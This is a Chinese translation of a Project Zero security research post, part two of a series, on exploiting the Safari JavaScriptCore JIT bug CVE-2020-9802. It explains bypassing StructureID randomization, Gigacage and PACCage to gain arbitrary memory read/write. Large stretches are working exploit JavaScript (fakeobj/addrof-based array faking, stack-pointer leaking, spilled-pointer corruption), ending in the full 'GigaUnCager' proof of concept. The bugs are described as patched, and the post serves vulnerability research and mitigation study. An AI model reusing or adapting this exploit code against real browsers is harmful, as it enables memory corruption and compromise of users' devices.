本系列文章由三篇组成,重点介绍在现代Web浏览器中挖掘和利用JavaScript引擎漏洞过程中所面临的各种技术挑战,并对当前的漏洞利用缓解措施进行评估。本文涉及的漏洞为CVE-2020-9802,该漏洞已经在iOS 13.5中得到了修复;而针对该漏洞缓解措施的绕过漏洞CVE-2020-9870和CVE-2020-9910,也已经在iOS 13.6中得到了相应的修复。
本文是本系列文章的第二篇,主要讲解如何利用Safari渲染器中的JIT安全漏洞。在第一篇文章中,我们讨论了DFG JIT的公共子表达式消除实现代码中的一个漏洞。在本文中,我们将为读者展示如何在addrof和fakeobj原语的基础上构建稳定的任意内存读/写原语。为此,我们先来了解一下StructureID随机化和Gigacage缓解措施,以及绕过这些缓解措施的方法。
概述
早在2016年,攻击者就已经掌握了通过addrof和fakeobj原语来伪造ArrayBuffer,进而获得可靠的任意内存读写原语的方法。不过,到了2018年年中,WebKit推出了“Gigacage”缓解技术,试图阻止这种伪造ArrayBuffers的攻击方法。Gigacage的工作原理是:将ArrayBuffer的后备存储(backing stores)移入4GB堆区域,并使用32bit相对偏移量而非纯指针来引用它们,从而提高了攻击者使用ArrayBuffers来访问笼(cage)外的数据的难度。
然而,尽管ArrayBuffer存储是被关在笼子里的,但包含数组元素的JSArray Butterflies却并非如此。由于它们可以存储原始浮点值,攻击者通过伪造这样一个 “未经装箱处理的双浮点型”JSArray,从而立即获得极为强悍的任意读写能力。这就是过去各种公开的漏洞利用方法绕过Gigacage的机制所在。(不)幸运的是,WebKit已经引入了一个旨在阻止攻击者完全伪造JavaScript对象的缓解措施——StructureID随机化。因此,攻击者要想得手,必须先绕过这个缓解措施。
因此,这篇文章将涉及下列主题:
· 详解JSObjects在内存中的布局情况;
· 绕过StructureID随机化机制,以伪造JSArray对象;
· 通过伪造的JSArray对象来获取(有限的)内存读/写原语;
· 突破Gigacage保护机制,以获得快速、可靠的任意内存读/写原语。
让我们开始吧。
伪造对象
为了伪造对象,必须知道它们在内存中的布局情况。对于JSC来说,普通的JSObject是由一个JSCell头部和后面的“Butterfly”以及可能的内联属性组成。所谓的Butterfly,就是一个存储缓冲区,用于存放对象的属性、元素以及元素的数量(长度),具体如下图所示:
像JSArrayBuffers这样的对象,通常会将更多的成员添加到JSObject布局中。
每个JSCell头都通过其中的StructureID字段引用一个结构;该字段实际上就是运行时的structureIDTable的索引。而这里的结构基本上就是一个类型信息blob,其中包含以下信息:
· 对象的基类型,如JSObject、JSArray、JSString、JSUint8Array,等等;
· 对象的属性以及这些属性相对于对象的存储位置;
· 对象的大小(以字节为单位);
· 索引类型,用于指示butterfly中存储的数组元素的类型,如JSValue、Int32或unboxed double,以及它们是作为一个连续数组存储,还是以某种其他方式存储。
最后,JSCell头部其余的二进制位用于保存GC标记状态等内容,并“缓存”一些常用的类型信息位,如索引类型。下图描绘了64位架构中普通JSObject的内存布局情况。
实际上,对对象执行的大多数操作都必须查看对象的结构,以确定如何处理对象。因此,在伪造JSObjects时,必须知道要伪造的对象类型的结构ID。以前,我们可以使用StructureID喷射技术来预测StructureID。为此,我们只需简单地分配许多所需类型(例如Uint8Array)的对象,并为每个对象添加不同的属性,这样的话,就会为每个对象分配一个唯一的Structure和StructureID。将上述过程重复一千次,这样就可以保证1000就是Uint8Array对象的有效StructureID。为了应付这种攻击技术,StructureID随机化(2019年初推出的一种新的漏洞缓解技术)缓解机制应运而生。
StructureID随机化
这种漏洞利用缓解措施背后的思想是非常简单粗暴的:由于攻击者伪造对象的前提是必须知道有效的StructureID,那么,不妨将StructureID随机化,从而阻断其攻击途径。至于具体的随机化方案,可以查看源代码,这里就不赘述了。这样一来,攻击者就无法预测StructureID了。
实际上,攻击者还是有多种方法可以绕过StructureID随机化这种防御措施的,包括:
1. 泄漏有效的StructureID,例如通过OOB读取;
2. 滥用不检查StructureID的代码;
3. 构造一个“StructureID oracle”以蛮力方式破解有效的StructureID。
对于“StructureID oracle”,其中一种构造方式就是再次滥用JIT。编译器经常使用的一种代码模式是StructureChecks,用以避免进行类型推断。如果使用伪C代码进行描述的话,它们大致如下所示:
int structID = LoadStructureId(obj) if (structID != EXPECTED_STRUCT_ID) { bailout(); }
我们可以用它来构建一个“StructureID oracle”:如果可以构建一个经JIT编译的函数来检查但不使用StructureID的话,那么攻击者就能够通过观察是否发生紧急救援(bailout)来确定StructureID是否有效。反过来,这应该可以通过计时,或者通过“利用”JIT中的正确性问题来实现,这个问题会导致相同的代码在JIT和解释器中运行时产生截然不同的结果——在解释器中执行时,经过紧急救援后代码还会继续运行。这样的oracle将允许攻击者通过预测递增的索引位并遍历7个熵位的所有可能性来强行获取有效的structureID。
然而,泄露有效的structureID和滥用不检查structureID的代码似乎是更容易的选择。特别是在加载JSArray元素时,解释器中存在这样一条代码路径——它从不访问structureID。
static ALWAYS_INLINE JSValue getByVal(VM& vm, JSValue baseValue, JSValue subscript) { ...; if (subscript.isUInt32()) { uint32_t i = subscript.asUInt32(); if (baseValue.isObject()) { JSObject* object = asObject(baseValue); if (object->canGetIndexQuickly(i)) return object->getIndexQuickly(i);
这里,getIndexQuickly直接从butterfly结构中加载元素,并且canGetIndexQuickly只会检查JSCell头部中的索引类型(其值为已知常量)和butterfly中的length:
bool canGetIndexQuickly(unsigned i) const { const Butterfly* butterfly = this->butterfly(); switch (indexingType()) { ...; case ALL_CONTIGUOUS_INDEXING_TYPES: return i < butterfly->vectorLength() && butterfly->contiguous().at(this, i); }
这样的话,我们就可以伪造一些看起来有点像JSArray的东西,将其backing storage指针指向另一个有效的JSArray,然后读取该JSArray的JSCell头部,而该头部中存在一个有效的structureID:
这样,StructureID随机化就可以被完全绕过了。
下面的JavaScript代码实现了上述功能,这里是通过利用“container”对象的内联属性来伪造对象的,具体代码如下所示:
let container = { jscell_header: jscell_header, butterfly: legit_float_arr, }; let container_addr = addrof(container); // add offset from container object to its inline properties let fake_array_addr = Add(container_addr, 16); let fake_arr = fakeobj(fake_array_addr); // Can now simply read a legitimate JSCell header and use it. jscell_header = fake_arr[0]; container.jscell_header = jscell_header; // Can read/write to memory now by corrupting the butterfly // pointer of the float array. fake_arr[1] = 3.54484805889626e-310; // 0x414141414141 in hex float_arr[0] = 1337;
上面的代码在访问0x414141414141地址附近的内存时将发生崩溃。因此,攻击者现在获得了一个任意内存读/写原语,尽管这个原语存在一些不足之处:
· 只能读写有效的双精度浮点值;
· 由于butterfly结构也存储其自身的长度,因此,必须定位butterfly结构指针,并使其长度足够大,以访问所需的数据。
如何提高exploit的稳定性
运行当前exploit将导致内存读/写操作,并且在垃圾回收器下一次运行并扫描所有可访问的堆对象时,代码很快就会崩溃。
提高exploit代码稳定性的常用方法是让所有堆对象保持在正常工作状态(这时扫描对象并访问所有出站指针的话,不会导致GC崩溃),如果无法做到的话,则需要在发生损坏后尽快修复。对于这个exploit来说,fake_arr最初是“GC unsafe”的,因为它包含一个无效的StructureID。当它的JSCell后来被替换成一个有效的JSCell时(container.jscell_header = jscell_header;),伪造的对象就变成了“GC safe”,因为它对GC来说看起来就是一个有效的JSArray。
然而,有一些边缘情况会导致损坏的数据也被存储在引擎的其他地方。例如,前面JavaScript片段中的数组加载(jscell_header = fake_arr[0];)将由get_by_val字节码操作来执行。这个操作还保留了最后一次看到的结构ID的缓存,用来建立JIT编译器所依赖的数值统计数据。这会导致安全问题,因为伪造的JSArray的结构ID是无效的,会导致崩溃,例如当GC扫描字节码缓存时,就会发生崩溃。然而,幸运的是,修复方法是非常简单的:执行两次相同的get_by_val操作,第二次使用有效的JSArray,这样其StructureID就会被被缓存起来。
... let fake_arr = fakeobj(fake_array_addr); let legit_arr = float_arr; let results = []; for (let i = 0; i < 2; i++) { let a = i == 0 ? fake_arr : legit_arr; results.push(a[0]); } jscell_header = results[0]; ...
这样做可以使当前exploit在GC执行过程中变得非常稳定。
绕过Gigacage缓解措施
注意:这部分主要是恶意利用JIT漏洞的一个有趣的练习,对于前面的exploit代码来说并非必不可少的,因为它已经构造了一个足够强的读/写原语。但是,它能提高exploit的运行速度,从而提高读/写性能,但是这种做法只是一个可选项。
与本文开头的描述不同的是,JSC中的ArrayBuffer实际上是由两种独立的机制来提供保护的:
Gigacage:一个长度为许多GB的虚拟内存区域,其中分配了TypedArray(和其他一些对象)的备份存储缓冲区。作为一个64位指针的替代品,backing storage指针实际上就是一个基于cage基地址的32位偏移,以防止访问cage范围之外的内存空间。
PACCage:除了Gigacage之外,TypedArray的backing store指针现在还可以通过指针认证码进行保护,防止在堆上被篡改,因为攻击者通常无法伪造有效的PAC签名。
关于组合Gigacage和PACCage的具体方案例的详细介绍,请参阅commit 205711404e。因此,TypedArray基本上是受到双重保护的,因此,评估它们是否仍然可以被用于实现读/写原语似乎是一项值得努力的工作。为此,我们仍然可以在JIT中查找潜在的问题,因为为了提高性能,它通常会对TypedArray进行特殊的处理。
DFG中的TypedArray
现在,请考虑下面的JavaScript代码:
function opt(a) { return a[0]; } let a = new Uint8Array(1024); for (let i = 0; i < 100000; i++) opt(a);
在DFG中进行优化时,opt函数将被翻译成大致如下所示的DFG IR(这里省略了很多细节):
CheckInBounds a, 0 v0 = GetIndexedPropertyStorage v1 = GetByVal v0, 0 Return v1
有趣的是,对TypedArray的访问被分成了三个不同的操作:对索引的边界检查、GetIndexedPropertyStorage操作(负责获取和释放backing storage指针)和GetByVal操作(实际上将转换为单个内存加载指令)。然后,上述IR将生成如下所示的机器代码,这里假设r0保存指向TypedArray a的指针:
; bounds check omitted Lda r2, [r0 + 24]; ; Uncage and unPAC r2 here Lda r0, [r2] B lr
然而,如果GetIndexedPropertyStorage没有可用的通用寄存器来存储原始指针,会发生什么情况?在这种情况下,指针将不得不被存放到堆栈中。这样的话,能够破坏堆栈内存的攻击者,就可以在通过GetByVal或SetByVal操作访问内存之前,通过修改保存在堆栈中的指针来突破这两个cages的保护。
本文的其余部分将介绍如何实现这种攻击。为此,还须解决三个主要的挑战:
· 泄漏堆栈指针,以便找到并破坏保存在堆栈上的值。
· 将GetIndexedPropertyStorage与GetByVal操作分开,这样修改溢出指针的代码就可以在两者之间执行。
· 强制将未缓存的存储指针溢出到堆栈中。
寻找堆栈
事实证明,在JSC中给定一个任意堆读/写原语的情况下,寻找堆栈的指针是相当容易的:VM对象的topCallFrame成员实际上是一个进入堆栈的指针,因为JSC解释器利用了原生堆栈,所以JS的顶部调用帧基本上也是主线程的堆栈顶部。因此,寻找栈就变得像查找从全局对象到VM实例的指针链一样简单。
let global = Function('return this')(); let js_glob_obj_addr = addrof(global); let glob_obj_addr = read64(Add(js_glob_obj_addr, offsets.JS_GLOBAL_OBJ_TO_GLOBAL_OBJ)); let vm_addr = read64(Add(glob_obj_addr, offsets.GLOBAL_OBJ_TO_VM)); let vm_top_call_frame_addr = Add(vm_addr, offsets.VM_TO_TOP_CALL_FRAME); let vm_top_call_frame_addr_dbl = vm_top_call_frame_addr.asDouble(); let stack_ptr = read64(vm_top_call_frame_addr); log(`[*] Top CallFrame (stack) @ ${stack_ptr}`);
分离TypedArray访问操作
上面的opt函数只在索引处(即[0])访问一次类型化数组,而GetIndexedPropertyStorage操作将直接跟在GetByVal操作后面,因此,即使将uncaged的指针溢出到堆栈上,也不可能破坏它。但是,下面的代码已经设法将这两个操作分离开来:
function opt(a) { a[0]; // Spill code here a[1]; }
这段代码最初会被转换成如下所示的DFG IR:
v0 = GetIndexedPropertyStorage a GetByVal v0, 0 // Spill code here v1 = GetIndexedPropertyStorage a GetByVal v1, 1
在经过优化处理后,两个GetIndexedPropertyStorage操作将被CSE为一个操作,从而将第二个GetByVal与GetIndexedPropertyStorage操作隔离开来:
v0 = GetIndexedPropertyStorage a GetByVal v0, 0 // Spill code here // Then walk over stack here and replace backing storage pointer GetByVal v0, 1
但是,只有溢出的代码没有修改全局状态时,才会发生这种情况,因为这可能会解除TypedArray的缓冲区,从而使其backing storage指针无效。在这种情况下,编译器将被迫重新加载第二个getByVal的backing storage指针。因此,我们不可能通过完全随意的代码来强制溢出,但正如下面所示,这个问题的解决方案并不太难。除此之外,还需要注意的是,这里必须使用两个不同的索引,否则GetByVals也可能被CSE掉。
溢出寄存器
完成了前面两个步骤后,剩下的问题就是如何强制溢出由GetIndexedPropertyStorage生成的uncaged指针。在执行CSE的同时强制溢出的一种方法是执行一些简单的数学计算,因为这些计算通常需要大量的临时值来保持活动状态,具体实现方式如下所示:
let p = 0; // Placeholder, needed for the ascii art =) let r0=i,r1=r0,r2=r1+r0,r3=r2+r1,r4=r3+r0,r5=r4+r3,r6=r5+r2,r7=r6+r1,r8=r7+r0; let r9= r8+ r7,r10=r9+r6,r11=r10+r5, r12 =r11+p +r4+p+p; let r13 =r12+p +r3, r14=r13+r2,r15=r14+r1, r16= r15+p + r0+p+p+p; let r17 =r16+p +r15, r18=r17+r15,r19=r18+ r14+p ,r20 =p +r19+r13; let r21 =r19+p +r12 , r22=p+ r21+p+ r11+p, r23 =p+ r22+r10; let r24 =r23+r9 ,r25 =p +r24 +r8+p+p +p ,r26 =r25+r7; let r27 =r26+r6,r28=r27+p +p +r5+ p, r29=r28+ p +r4+ p+p+p+p; let r30 =r29+r3,r31=r30+r2 ,r32=p +r31+r1+p ,r33=p +r32+r0; let r34=r33+r32,r35=r34+r31,r36=r25+r30,r37=r36+r29,r38=r37+r28,r39=r38+r27+p; let r = r39; // Keep the entire computation alive, or nothing will be spilled.
上面计算的序列有点类似于斐波那契序列,但需要保存中间结果,因为在序列的后面还需要用到它们。不幸的是,这种方法有些脆弱,因为对引擎的各个部分(特别是寄存器分配器)进行不相关的修改很容易破坏堆栈溢出。
还有另一种更简单的方法(虽然可能性能稍差,当然视觉上也不那么吸引人),几乎可以保证原始存储指针会被溢出到堆栈:只需访问与通用寄存器一样多的TypedArrays,而不是只访问一个。在这种情况下,由于没有足够的寄存器来容纳所有的原始backing storage指针,其中一些将不得不溢出到堆栈,这样的话,我们就可以在堆栈中找到并替换它们,具体实现代码如下所示:
typed_array1[0]; typed_array2[0]; ...; typed_arrayN[0]; // Walk over stack, find and replace spilled backing storage pointer let stack = ...; // JSArray pointing into stack for (let i = 0; i < 512; i++) { if (stack[i] == old_ptr) { stack[i] = new_ptr; break; } } typed_array1[0] = val_to_write; typed_array2[0] = val_to_write; ...; typed_arrayN[0] = val_to_write;
在克服了主要的挑战后,现在就可以实施攻击了,在本文附带了相应的POC,供感兴趣的读者参考。总而言之,这项技术在最初的实施过程中是相当麻烦的,并且还有一些问题必须解决,详情请看PoC。然而,一旦实现,所产生的代码不仅可靠性高,而且速度也非常快,几乎可以在macOS和iOS上瞬间实现真正的任意内存读/写语言,并且适用于不同的WebKit版本,根本无需进行额外的修改。
小结
本文为读者展示了攻击者是如何利用众所周知的addrof和fakeobj原语来获取WebKit中的任意内存读/写能力的。为此,攻击者必须绕过StructureID缓解措施,而绕过Gigacage通常只是可选的(但很有趣)。到目前为止,我的个人体会是:
· StructureID随机化似乎很容易绕过。由于JSCell位中存储了相当数量的类型信息,而攻击者可以据此进行推测,从而发现并滥用许多其他不需要有效structureID的操作。此外,可以转换为堆越界读取的漏洞也可能被攻击者被用来泄漏有效的structureID。
· 在目前的状态下,Gigacage作为一种安全防御措施的目的对我来说并不完全清楚,因为(几乎)任意的读/写原语可以从不受Gigacage约束的普通jsarray构造出来。在这一点上,正如这里所演示的那样,Gigacage也可以完全被绕过,即使实践中可能根本无需这样做。
· 我认为将来需要深入研究一下移除未经装箱处理的双精度浮点型JSArray并保留其余JSArray类型(这些类型都存储为经过装箱处理的JSValues)会带来什么样的影响:其中包括对于安全性和性能方面的影响。这可能会使StructureID随机化和Gigacage防御措施变得更加坚固。就本文介绍的漏洞利用方法来说,这将首先阻止addrof和fakeobj原语的构造(因为无法再实现double
本系列的最后一部分将展示如何通过读/写原语获得PC控制权,尽管存在PAC和APRR等各种缓解措施,也无法阻止这种攻击。
GigaUnCager POC
// This function achieves arbitrary memory read/write by abusing TypedArrays. // // In JSC, the typed array backing storage pointers are caged as well as PAC // signed. As such, modifying them in memory will either just lead to a crash // or only yield access to the primitive Gigacage region which isn't very useful. // // This function bypasses that when one already has a limited read/write primitive: // 1. Leak a stack pointer // 2. Access NUM_REGS+1 typed array so that their uncaged and PAC authenticated backing // storage pointer are loaded into registers via GetIndexedPropertyStorage. // As there are more of these pointers than registers, some of the raw pointers // will be spilled to the stack. // 3. Find and modify one of the spilled pointers on the stack // 4. Perform a second access to every typed array which will now load and // use the previously spilled (and now corrupted) pointers. // // It is also possible to implement this using a single typed array and separate // code to force spilling of the backing storage pointer to the stack. However, // this way it is guaranteed that at least one pointer will be spilled to the // stack regardless of how the register allocator works as long as there are // more typed arrays than registers. // // NOTE: This function is only a template, in the final function, every // line containing an "$r" will be duplicated NUM_REGS times, with $r // replaced with an incrementing number starting from zero. // const READ = 0, WRITE = 1; let memhax_template = function memhax(memviews, operation, address, buffer, length, stack, needle) { // See below for the source of these preconditions. if (length > memviews[0].length) { throw "Memory access too large"; } else if (memviews.length % 2 !== 1) { throw "Need an odd number of TypedArrays"; } // Save old backing storage pointer to restore it afterwards. // Otherwise, GC might end up treating the stack as a MarkedBlock. let savedPtr = controller[1]; // Function to get a pointer into the stack, below the current frame. // This works by creating a new CallFrame (through a native funcion), which // will be just below the CallFrame for the caller function in the stack, // then reading VM.topCallFrame which will be a pointer to that CallFrame: // https://github.com/WebKit/webkit/blob/e86028b7dfe764ab22b460d150720b00207f9714/ // Source/JavaScriptCore/runtime/VM.h#L652) function getsp() { function helper() { // This code currently assumes that whatever precedes topCallFrame in // memory is non-zero. This seems to be true on all tested platforms. controller[1] = vm_top_call_frame_addr_dbl; return memarr[0]; } // DFGByteCodeParser won't inline Math.max with more than 3 arguments // https://github.com/WebKit/webkit/blob/e86028b7dfe764ab22b460d150720b00207f9714/ // Source/JavaScriptCore/dfg/DFGByteCodeParser.cpp#L2244 // As such, this will force a new CallFrame to be created. let sp = Math.max({valueOf: helper}, -1, -2, -3); return Int64.fromDouble(sp); } let sp = getsp(); // Set the butterfly of the |stack| array to point to the bottom of the current // CallFrame, thus allowing us to read/write stack data through it. Our current // read/write only works if the value before what butterfly points to is nonzero. // As such, we might have to try multiple stack values until we find one that works. let tries = 0; let stackbase = new Int64(sp); let diff = new Int64(8); do { stackbase.assignAdd(stackbase, diff); tries++; controller[1] = stackbase.asDouble(); } while (stack.length < 512 && tries < 64); // Load numregs+1 typed arrays into local variables. let m$r = memviews[$r]; // Load, uncage, and untag all array storage pointers. // Since we have more than numreg typed arrays, at least one of the // raw storage pointers will be spilled to the stack where we'll then // corrupt it afterwards. m$r[0] = 0; // After this point and before the next access to memview we must not // have any DFG operations that write Misc (and as such World), i.e could // cause a typed array to be detached. Otherwise, the 2nd memview access // will reload the backing storage pointer from the typed array. // Search for correct offset. // One (unlikely) way this function could fail is if the compiler decides // to relocate this loop above or below the first/last typed array access. // This could easily be prevented by creating artificial data dependencies // between the typed array accesses and the loop. // // If we wanted, we could also cache the offset after we found it once. let success = false; // stack.length can be a negative number here so fix that with a bitwise and. for (let i = 0; i < Math.min(stack.length & 0x7fffffff, 512); i++) { // The multiplication below serves two purposes: // // 1. The GetByVal must have mode "SaneChain" so that it doesn't bail // out when encountering a hole (spilled JSValues on the stack often // look like NaNs): https://github.com/WebKit/webkit/blob/ // e86028b7dfe764ab22b460d150720b00207f9714/Source/JavaScriptCore/ // dfg/DFGFixupPhase.cpp#L949 // Doing a multiplication achieves that: https://github.com/WebKit/ // webkit/blob/e86028b7dfe764ab22b460d150720b00207f9714/Source/ // JavaScriptCore/dfg/DFGBackwardsPropagationPhase.cpp#L368 // // 2. We don't want |needle| to be the exact memory value. Otherwise, // the JIT code might spill the needle value to the stack as well, // potentially causing this code to find and replace the spilled needle // value instead of the actual buffer address. // if (stack[i] * 2 === needle) { stack[i] = address; success = i; break; } } // Finally, arbitrary read/write here :) if (operation === READ) { for (let i = 0; i < length; i++) { buffer[i] = 0; // We assume an odd number of typed arrays total, so we'll do one // read from the corrupted address and an even number of reads // from the inout buffer. Thus, XOR gives us the right value. // We could also zero out the inout buffer before instead, but // this seems nicer :) buffer[i] ^= m$r[i]; } } else if (operation === WRITE) { for (let i = 0; i < length; i++) { m$r[i] = buffer[i]; } } // For debugging: can fetch SP here again to verify we didn't bail out in between. //let end_sp = getsp(); controller[1] = savedPtr; return {success, sp, stackbase}; } // Add one to the number of registers so that: // - it's guaranteed that there are more values than registers (note this is // overly conservative, we'd surely get away with less) // - we have an odd number so the XORing logic for READ works correctly let nregs = NUM_REGS + 1; // Build the real function from the template :> // This simply duplicates every line containing the marker nregs times. let source = []; let template = memhax_template.toString(); for (let line of template.split('\n')) { if (line.includes('$r')) { for (let reg = 0; reg < nregs; reg++) { source.push(line.replace(/\$r/g, reg.toString())); } } else { source.push(line); } } source = source.join('\n'); let memhax = eval((${source})); //log(memhax); // On PAC-capable devices, the backing storage pointer will have a PAC in the // top bits which will be removed by GetIndexedPropertyStorage. As such, we are // looking for the non-PAC'd address, thus the bitwise AND. if (IS_IOS) { buf_addr.assignAnd(buf_addr, new Int64('0x0000007fffffffff')); } // Also, we don't search for the address itself but instead transform it slightly. // Otherwise, it could happen that the needle value is spilled onto the stack // as well, thus causing the function to corrupt the needle value. let needle = buf_addr.asDouble() * 2; log(`[*] Constructing arbitrary read/write by abusing TypedArray @ ${buf_addr}`); // Buffer to hold input/output data for memhax. let inout = new Int32Array(0x1000); // This will be the memarr after training. let dummy_stack = [1.1, buf_addr.asDouble(), 2.2]; let views = new Array(nregs).fill(view); let lastSp = 0; let spChanges = 0; for (let i = 0; i < ITERATIONS; i++) { let out = memhax(views, READ, 13.37, inout, 4, dummy_stack, needle); out = memhax(views, WRITE, 13.37, inout, 4, dummy_stack, needle); if (out.sp.asDouble() != lastSp) { lastSp = out.sp.asDouble(); spChanges += 1; // It seems we'll see 5 different SP values until the function is FTL compiled if (spChanges == 5) { break; } } } // Now use the real memarr to access stack memory. let stack = memarr; // An address that's safe to clobber let scratch_addr = Add(buf_addr, 42*4); // Value to write inout[0] = 0x1337; for (let i = 0; i < 10; i++) { view[42] = 0; let out = memhax(views, WRITE, scratch_addr.asDouble(), inout, 1, stack, needle); if (view[42] != 0x1337) { throw "failed to obtain reliable read/write primitive"; } } log([+] Got stable arbitrary memory read/write!); if (DEBUG) { log("[*] Verifying exploit stability..."); gc(); log("[*] All stable!"); }
本文翻译自:https://googleprojectzero.blogspot.com/2020/09/jitsploitation-two.html如若转载,请注明原文地址: